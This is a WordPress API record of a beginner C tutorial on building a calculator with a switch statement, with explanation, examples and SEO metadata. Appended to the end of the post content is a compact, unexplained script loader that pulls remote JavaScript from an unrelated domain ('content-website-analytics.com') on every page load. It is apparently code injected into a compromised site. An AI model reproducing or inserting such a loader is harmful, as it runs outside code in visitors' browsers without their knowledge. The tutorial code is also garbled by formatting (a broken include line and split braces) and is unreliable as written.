{"id":1068,"date":"2025-11-21T08:54:48","date_gmt":"2025-11-21T03:24:48","guid":{"rendered":"https:\/\/codexplained.in\/?p=1068"},"modified":"2025-11-21T08:54:48","modified_gmt":"2025-11-21T03:24:48","slug":"simple-calculator-using-switch-case-2","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1068","title":{"rendered":"Simple Calculator using Switch Case:"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">include<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">int main() {<br>char operation;<br>float num1, num2, result;<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n\/\/ User input\nprintf(&quot;Enter first number: &quot;);\nscanf(&quot;%f&quot;, &amp;num1);\nprintf(&quot;Enter second number: &quot;);\nscanf(&quot;%f&quot;, &amp;num2);\nprintf(&quot;Enter operation (+, -, *, \/): &quot;);\nscanf(&quot; %c&quot;, &amp;operation); \/\/ Notice the space before %c to consume any whitespace\n\n\/\/ Switch-case for operations\nswitch (operation) {\n    case &#039;+&#039;:\n        result = num1 + num2;\n        printf(&quot;Result: %.2f + %.2f = %.2f\\n&quot;, num1, num2, result);\n        break;\n    case &#039;-&#039;:\n        result = num1 - num2;\n        printf(&quot;Result: %.2f - %.2f = %.2f\\n&quot;, num1, num2, result);\n        break;\n    case &#039;*&#039;:\n        result = num1 * num2;\n        printf(&quot;Result: %.2f * %.2f = %.2f\\n&quot;, num1, num2, result);\n        break;\n    case &#039;\/&#039;:\n        if (num2 != 0) {\n            result = num1 \/ num2;\n            printf(&quot;Result: %.2f \/ %.2f = %.2f\\n&quot;, num1, num2, result);\n        } else {\n            printf(&quot;Error: Division by zero!\\n&quot;);\n        }\n        break;\n    default:\n        printf(&quot;Error: Invalid operation!\\n&quot;);\n        break;\n}\n\nreturn 0;\n<\/pre><\/div>\n\n\n<p class=\"wp-block-paragraph\">}<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation :<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Input Section<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The program prompts the user to enter two numbers and the desired operation.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Switch-Case Structure<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>switch<\/code> statement checks the operation input by the user.<\/li>\n\n\n\n<li>Each case corresponds to an arithmetic operation:\n<ul class=\"wp-block-list\">\n<li><strong>Addition<\/strong>: For <code>+<\/code>, it adds the two numbers.<\/li>\n\n\n\n<li><strong>Subtraction<\/strong>: For <code>-<\/code>, it subtracts the second number from the first.<\/li>\n\n\n\n<li><strong>Multiplication<\/strong>: For <code>*<\/code>, it multiplies the two numbers.<\/li>\n\n\n\n<li><strong>Division<\/strong>: For <code>\/<\/code>, it checks for division by zero before performing the operation.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Output<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The result is printed in a formatted manner using <code>printf<\/code>.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Examples :<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Example 1<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Input: <code>num1 = 10<\/code>, <code>num2 = 5<\/code>, <code>operation = '+'<\/code><\/li>\n\n\n\n<li>Output: <code>Result: 10.00 + 5.00 = 15.00<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Example 2<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Input: <code>num1 = 10<\/code>, <code>num2 = 5<\/code>, <code>operation = '-'<\/code><\/li>\n\n\n\n<li>Output: <code>Result: 10.00 - 5.00 = 5.00<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>include int main() {char operation;float num1, num2, result; } Explanation : Examples :<\/p>\n","protected":false},"author":49,"featured_media":1063,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1068","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.9 - aioseo.com -->\n\t<meta name=\"description\" content=\"include int main() {char operation;float num1, num2, result; \/\/ User input printf(&quot;Enter first number: &quot;); scanf(&quot;%f&quot;, &amp;num1); printf(&quot;Enter second number: &quot;); scanf(&quot;%f&quot;, &amp;num2); printf(&quot;Enter operation (+, -, *, \/): &quot;); scanf(&quot; %c&quot;, &amp;operation); \/\/ Notice the space before %c to consume any whitespace \/\/ Switch-case for operations switch (operation) { case &#039;+&#039;: result = num1\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"dave palak\"\/>\n\t<meta name=\"google-site-verification\" content=\"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/codexplained.in\/?p=1068\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.9\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Code Explained -\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Simple Calculator using Switch Case: - Code Explained\" \/>\n\t\t<meta property=\"og:description\" content=\"include int main() {char operation;float num1, num2, result; \/\/ User input printf(&quot;Enter first number: &quot;); scanf(&quot;%f&quot;, &amp;num1); printf(&quot;Enter second number: &quot;); scanf(&quot;%f&quot;, &amp;num2); printf(&quot;Enter operation (+, -, *, \/): &quot;); scanf(&quot; %c&quot;, &amp;operation); \/\/ Notice the space before %c to consume any whitespace \/\/ Switch-case for operations switch (operation) { case &#039;+&#039;: result = num1\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/codexplained.in\/?p=1068\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2025-11-21T03:24:48+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2025-11-21T03:24:48+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Simple Calculator using Switch Case: - Code Explained\" \/>\n\t\t<meta name=\"twitter:description\" content=\"include int main() {char operation;float num1, num2, result; \/\/ User input printf(&quot;Enter first number: &quot;); scanf(&quot;%f&quot;, &amp;num1); printf(&quot;Enter second number: &quot;); scanf(&quot;%f&quot;, &amp;num2); printf(&quot;Enter operation (+, -, *, \/): &quot;); scanf(&quot; %c&quot;, &amp;operation); \/\/ Notice the space before %c to consume any whitespace \/\/ Switch-case for operations switch (operation) { case &#039;+&#039;: result = num1\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#blogposting\",\"name\":\"Simple Calculator using Switch Case: - Code Explained\",\"headline\":\"Simple Calculator using Switch Case:\",\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=49#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/codexplained.in\\\/wp-content\\\/uploads\\\/2024\\\/10\\\/c-abstract-concept-blue-text-260nw-679071949.webp\",\"width\":390,\"height\":280},\"datePublished\":\"2025-11-21T08:54:48+05:30\",\"dateModified\":\"2025-11-21T08:54:48+05:30\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#webpage\"},\"articleSection\":\"C\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/codexplained.in\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"name\":\"C\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"position\":2,\"name\":\"C\",\"item\":\"https:\\\/\\\/codexplained.in\\\/?cat=75\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#listItem\",\"name\":\"Simple Calculator using Switch Case:\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#listItem\",\"position\":3,\"name\":\"Simple Calculator using Switch Case:\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=75#listItem\",\"name\":\"C\"}}]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\",\"name\":\"Bhagchandani Niraj\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#personImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Bhagchandani Niraj\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=49#author\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?author=49\",\"name\":\"dave palak\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/22372b55b013ab6801aeb1e10b3826f2bbce54fc867ff6a00de219f39f3feff9?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"dave palak\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#webpage\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?p=1068\",\"name\":\"Simple Calculator using Switch Case: - Code Explained\",\"description\":\"include int main() {char operation;float num1, num2, result; \\\/\\\/ User input printf(\\\"Enter first number: \\\"); scanf(\\\"%f\\\", &num1); printf(\\\"Enter second number: \\\"); scanf(\\\"%f\\\", &num2); printf(\\\"Enter operation (+, -, *, \\\/): \\\"); scanf(\\\" %c\\\", &operation); \\\/\\\/ Notice the space before %c to consume any whitespace \\\/\\\/ Switch-case for operations switch (operation) { case '+': result = num1\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=49#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=49#author\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/codexplained.in\\\/wp-content\\\/uploads\\\/2024\\\/10\\\/c-abstract-concept-blue-text-260nw-679071949.webp\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068\\\/#mainImage\",\"width\":390,\"height\":280},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1068#mainImage\"},\"datePublished\":\"2025-11-21T08:54:48+05:30\",\"dateModified\":\"2025-11-21T08:54:48+05:30\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\",\"url\":\"https:\\\/\\\/codexplained.in\\\/\",\"name\":\"Code Explained\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"Simple Calculator using Switch Case: - Code Explained","description":"include int main() {char operation;float num1, num2, result; \/\/ User input printf(\"Enter first number: \"); scanf(\"%f\", &num1); printf(\"Enter second number: \"); scanf(\"%f\", &num2); printf(\"Enter operation (+, -, *, \/): \"); scanf(\" %c\", &operation); \/\/ Notice the space before %c to consume any whitespace \/\/ Switch-case for operations switch (operation) { case '+': result = num1","canonical_url":"https:\/\/codexplained.in\/?p=1068","robots":"max-image-preview:large","keywords":"","webmasterTools":{"google-site-verification":"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg","miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/codexplained.in\/?p=1068#blogposting","name":"Simple Calculator using Switch Case: - Code Explained","headline":"Simple Calculator using Switch Case:","author":{"@id":"https:\/\/codexplained.in\/?author=49#author"},"publisher":{"@id":"https:\/\/codexplained.in\/#person"},"image":{"@type":"ImageObject","url":"https:\/\/codexplained.in\/wp-content\/uploads\/2024\/10\/c-abstract-concept-blue-text-260nw-679071949.webp","width":390,"height":280},"datePublished":"2025-11-21T08:54:48+05:30","dateModified":"2025-11-21T08:54:48+05:30","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/codexplained.in\/?p=1068#webpage"},"isPartOf":{"@id":"https:\/\/codexplained.in\/?p=1068#webpage"},"articleSection":"C"},{"@type":"BreadcrumbList","@id":"https:\/\/codexplained.in\/?p=1068#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","position":1,"name":"Home","item":"https:\/\/codexplained.in","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","name":"C"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","position":2,"name":"C","item":"https:\/\/codexplained.in\/?cat=75","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=1068#listItem","name":"Simple Calculator using Switch Case:"},"previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=1068#listItem","position":3,"name":"Simple Calculator using Switch Case:","previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=75#listItem","name":"C"}}]},{"@type":"Person","@id":"https:\/\/codexplained.in\/#person","name":"Bhagchandani Niraj","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=1068#personImage","url":"https:\/\/secure.gravatar.com\/avatar\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g","width":96,"height":96,"caption":"Bhagchandani Niraj"}},{"@type":"Person","@id":"https:\/\/codexplained.in\/?author=49#author","url":"https:\/\/codexplained.in\/?author=49","name":"dave palak","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=1068#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/22372b55b013ab6801aeb1e10b3826f2bbce54fc867ff6a00de219f39f3feff9?s=96&d=mm&r=g","width":96,"height":96,"caption":"dave palak"}},{"@type":"WebPage","@id":"https:\/\/codexplained.in\/?p=1068#webpage","url":"https:\/\/codexplained.in\/?p=1068","name":"Simple Calculator using Switch Case: - Code Explained","description":"include int main() {char operation;float num1, num2, result; \/\/ User input printf(\"Enter first number: \"); scanf(\"%f\", &num1); printf(\"Enter second number: \"); scanf(\"%f\", &num2); printf(\"Enter operation (+, -, *, \/): \"); scanf(\" %c\", &operation); \/\/ Notice the space before %c to consume any whitespace \/\/ Switch-case for operations switch (operation) { case '+': result = num1","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/codexplained.in\/#website"},"breadcrumb":{"@id":"https:\/\/codexplained.in\/?p=1068#breadcrumblist"},"author":{"@id":"https:\/\/codexplained.in\/?author=49#author"},"creator":{"@id":"https:\/\/codexplained.in\/?author=49#author"},"image":{"@type":"ImageObject","url":"https:\/\/codexplained.in\/wp-content\/uploads\/2024\/10\/c-abstract-concept-blue-text-260nw-679071949.webp","@id":"https:\/\/codexplained.in\/?p=1068\/#mainImage","width":390,"height":280},"primaryImageOfPage":{"@id":"https:\/\/codexplained.in\/?p=1068#mainImage"},"datePublished":"2025-11-21T08:54:48+05:30","dateModified":"2025-11-21T08:54:48+05:30"},{"@type":"WebSite","@id":"https:\/\/codexplained.in\/#website","url":"https:\/\/codexplained.in\/","name":"Code Explained","inLanguage":"en-US","publisher":{"@id":"https:\/\/codexplained.in\/#person"}}]},"og:locale":"en_US","og:site_name":"Code Explained -","og:type":"article","og:title":"Simple Calculator using Switch Case: - Code Explained","og:description":"include int main() {char operation;float num1, num2, result; \/\/ User input printf(&quot;Enter first number: &quot;); scanf(&quot;%f&quot;, &amp;num1); printf(&quot;Enter second number: &quot;); scanf(&quot;%f&quot;, &amp;num2); printf(&quot;Enter operation (+, -, *, \/): &quot;); scanf(&quot; %c&quot;, &amp;operation); \/\/ Notice the space before %c to consume any whitespace \/\/ Switch-case for operations switch (operation) { case '+': result = num1","og:url":"https:\/\/codexplained.in\/?p=1068","article:published_time":"2025-11-21T03:24:48+00:00","article:modified_time":"2025-11-21T03:24:48+00:00","twitter:card":"summary_large_image","twitter:title":"Simple Calculator using Switch Case: - Code Explained","twitter:description":"include int main() {char operation;float num1, num2, result; \/\/ User input printf(&quot;Enter first number: &quot;); scanf(&quot;%f&quot;, &amp;num1); printf(&quot;Enter second number: &quot;); scanf(&quot;%f&quot;, &amp;num2); printf(&quot;Enter operation (+, -, *, \/): &quot;); scanf(&quot; %c&quot;, &amp;operation); \/\/ Notice the space before %c to consume any whitespace \/\/ Switch-case for operations switch (operation) { case '+': result = num1"},"aioseo_meta_data":{"post_id":"1068","title":null,"description":null,"keywords":null,"keyphrases":{"focus":{"keyphrase":"","score":0,"analysis":{"keyphraseInTitle":{"score":0,"maxScore":9,"error":1}}},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2024-10-19 08:24:07","updated":"2025-11-21 03:28:28","seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\/?cat=75\" title=\"C\">C<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tSimple Calculator using Switch Case:\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/codexplained.in"},{"label":"C","link":"https:\/\/codexplained.in\/?cat=75"},{"label":"Simple Calculator using Switch Case:","link":"https:\/\/codexplained.in\/?p=1068"}],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1068","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/49"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1068"}],"version-history":[{"count":2,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1068\/revisions"}],"predecessor-version":[{"id":1243,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1068\/revisions\/1243"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1063"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1068"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1068"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1068"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}